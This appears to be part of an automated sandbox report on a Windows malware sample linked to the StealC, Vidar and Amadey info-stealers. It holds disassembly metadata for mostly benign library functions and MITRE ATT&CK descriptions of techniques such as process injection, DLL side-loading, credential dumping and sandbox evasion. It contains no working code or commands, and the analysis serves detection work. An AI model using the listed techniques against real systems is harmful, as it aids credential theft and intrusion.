GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7D474A

Strings

GetNtLoaderAPI, xrefs: 6C7D4744

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 967caed24132ef5bdba65f8b9e46f7e4f65e2965c217d321a2ac1571fcb57e52
Instruction ID: 60dbb2cfc4a4142342f8e752b15f10176825ada7bcdc349be92f3dd744aefcdf
Opcode Fuzzy Hash: 967caed24132ef5bdba65f8b9e46f7e4f65e2965c217d321a2ac1571fcb57e52
Instruction Fuzzy Hash: 400180757002148FDF20AF75C954A297BB9EB9B329B458479E905CB300DB74E801CFD1

Function 6C826DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C826E22
__Init_thread_footer.LIBCMT ref: 6C826E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C826E1D

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: aceb092e41e0d208d6d9ae0b21472b19d4bf14449ee15c47d17b81139ce74ca1
Instruction ID: 36bd55aace727f034c7fb6b30eacd7c8ebe6baf4af3e2452dba34d4dc9f876a5
Opcode Fuzzy Hash: aceb092e41e0d208d6d9ae0b21472b19d4bf14449ee15c47d17b81139ce74ca1
Instruction Fuzzy Hash: 71F05939604284CBDB30ABA8CB58A9377B2A73331CF14897EC81047B51D724AD57DAD3

Function 6C7D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C7D9EEF

Strings

Infinity, xrefs: 6C7D9EB7
NaN, xrefs: 6C7D9EC1

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: e836cd146408af05e016e516d9d9d65bb88e0afb08cf3f57fd918f84d82dde5d
Instruction ID: 3dec4a3adf0537a4740b89bb1c4e434b24bad370e24a9b6fa28feb884002f5f4
Opcode Fuzzy Hash: e836cd146408af05e016e516d9d9d65bb88e0afb08cf3f57fd918f84d82dde5d
Instruction Fuzzy Hash: 20F0AF71600246CAEB30AF98DB597423371B33331FF208A7ED5040BB40D735654ACAC2

Function 6C7DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C7DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C7DBEF5

Strings

cryptbase.dll, xrefs: 6C7DBEF0

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c5e92ba3cbf742a40fffee87968456f679845b263dbf1bb46fd8ea36097bb056
Instruction ID: b0ef805d4e22431281d62e8cef16aeb8b0a034fa3ea2e7b341b1db952e28a580
Opcode Fuzzy Hash: c5e92ba3cbf742a40fffee87968456f679845b263dbf1bb46fd8ea36097bb056
Instruction Fuzzy Hash: B3D0A932284608EACA20BAA08E0AF293BB8A78232DF20C030F30584951C7B0B410CB80

Function 6C7C50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C7C4E9C,?,?,?,?,?), ref: 6C7C510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C7C4E9C,?,?,?,?,?), ref: 6C7C5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C7C5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C7C4E9C), ref: 6C7C5234

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: d6392f2c3444058db7979905139b35e25740e70f8b4d06ff6566c9ab4647d824
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: E991CF75601616CFCB14CF08D890A56BBA1FF99358B28869CDD589B715D332FC42CBE1

Function 6C8008F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E7DC), ref: 6C800918
LeaveCriticalSection.KERNEL32(6C84E7DC), ref: 6C8009A6
EnterCriticalSection.KERNEL32(6C84E7DC,?,00000000), ref: 6C8009F3
LeaveCriticalSection.KERNEL32(6C84E7DC), ref: 6C800ACB

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7255bdb4501b5a41ae8e6c1f4ef0beebcb8292ebd898f67c0aed42b732536e37
Instruction ID: 6930a6528b14fbb8b5f736c61dbb9a9565318bca55834f58cd22df58640861a3
Opcode Fuzzy Hash: 7255bdb4501b5a41ae8e6c1f4ef0beebcb8292ebd898f67c0aed42b732536e37
Instruction Fuzzy Hash: 2251E736B019548BEB34EF15CA45A6673A1EB82B3CF25C93AD96597F80DB30E801C7D1

Function 6C81B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C81B2C9,?,?,?,6C81B127,?,?,?,?,?,?,?,?,?,6C81AE52), ref: 6C81B628

Part of subcall function 6C8190E0: free.MOZGLUE(?,00000000,?,?,6C81DEDB), ref: 6C8190FF
Part of subcall function 6C8190E0: free.MOZGLUE(?,00000000,?,?,6C81DEDB), ref: 6C819108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C81B2C9,?,?,?,6C81B127,?,?,?,?,?,?,?,?,?,6C81AE52), ref: 6C81B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C81B2C9,?,?,?,6C81B127,?,?,?,?,?,?,?,?,?,6C81AE52), ref: 6C81B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C81B127,?,?,?,?,?,?,?,?), ref: 6C81B74D

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: edd5d53f77c77786952e702fcc213b3f3937014e41c6038cd7ab1567ae9928b3
Instruction ID: ea3b699aa0fdf59ddbeb65fc99d6cca9d13ef6bb1701740e2ae5874005c6d276
Opcode Fuzzy Hash: edd5d53f77c77786952e702fcc213b3f3937014e41c6038cd7ab1567ae9928b3
Instruction Fuzzy Hash: 6D5190B1A092168FDB24CF58CA8066EB7F5FF46305F558D6DC85AA7B10D731AC04CB91

Function 6C81DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C80FF2A), ref: 6C81DFFD

Part of subcall function 6C8190E0: free.MOZGLUE(?,00000000,?,?,6C81DEDB), ref: 6C8190FF
Part of subcall function 6C8190E0: free.MOZGLUE(?,00000000,?,?,6C81DEDB), ref: 6C819108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C80FF2A), ref: 6C81E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C80FF2A), ref: 6C81E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C80FF2A), ref: 6C81E0FE

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5b783287db952986742c13937fb71a0e8cd9a1f69568dd54d4aceb5e3472b3c9
Instruction ID: 27d123d97b610ce29088d4a574f8d41c77a373ef38f3c44a8941f736bd82b5e6
Opcode Fuzzy Hash: 5b783287db952986742c13937fb71a0e8cd9a1f69568dd54d4aceb5e3472b3c9
Instruction Fuzzy Hash: A741ACB160820B8FEB24CF68CA8476A73F6BB45308F154939D516DBF40E732E904CB92

Function 6C816E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C816EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C816EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C816F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C816F5C

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 06e6e666f4f67210f14dde7eeddeb240dcfa11d75d16b215b70890b6ea2fffef
Instruction ID: 2d3e2120a1f5304350f392cd29334f5a878d0de34e2ee87931299ee4777df12e
Opcode Fuzzy Hash: 06e6e666f4f67210f14dde7eeddeb240dcfa11d75d16b215b70890b6ea2fffef
Instruction Fuzzy Hash: 3A31E771A1460B8FDB24CF2CCA806AA73E9EB84308F508639D45AC7A51EB31E559C790

Function 6C82B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C7D0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C7D0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C7D0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6C7D0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82B67F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c3c020c84955099fddc34cca0339b8d366e8c1443736d1664ab80cb4ef25cad3
Instruction ID: 1fc1626f70d98747d4ff8623ca9dd1827457ef02614805120e83faa24625eac5
Opcode Fuzzy Hash: c3c020c84955099fddc34cca0339b8d366e8c1443736d1664ab80cb4ef25cad3
Instruction Fuzzy Hash: 88310871A022158FDB20DF58C988A6AB7F5FF80309F168929C8179B301DB35ED55CBE0

Function 6C7FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C7FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C7FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C7FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C7FF668

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 210d7305a63f17b80d979ca0e338dffe22c5aa7d3ef12e50093b59a3259bf583
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: BF314F71A00224AFCB24CF6DCDC0A9F77F5EB84354B148939FA598BB05DA31E945CB90

Function 6C8126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8126C1
free.MOZGLUE(?), ref: 6C8126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8126FF
free.MOZGLUE ref: 6C81270D

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 68a40125d16e92dfdb119c1dbde72f51d1ddd43129799818bb836b59c339b905
Instruction ID: 0cdb9a6524c06f01d697f0b26f1a0829a08c6c9580fa9992d491e28966c29653
Opcode Fuzzy Hash: 68a40125d16e92dfdb119c1dbde72f51d1ddd43129799818bb836b59c339b905
Instruction Fuzzy Hash: E3F0F9B27052065BE7209A18E98895B73EDEF5631CB140835EA16C7F02E336FD18C791

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EZrw1nNIpG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

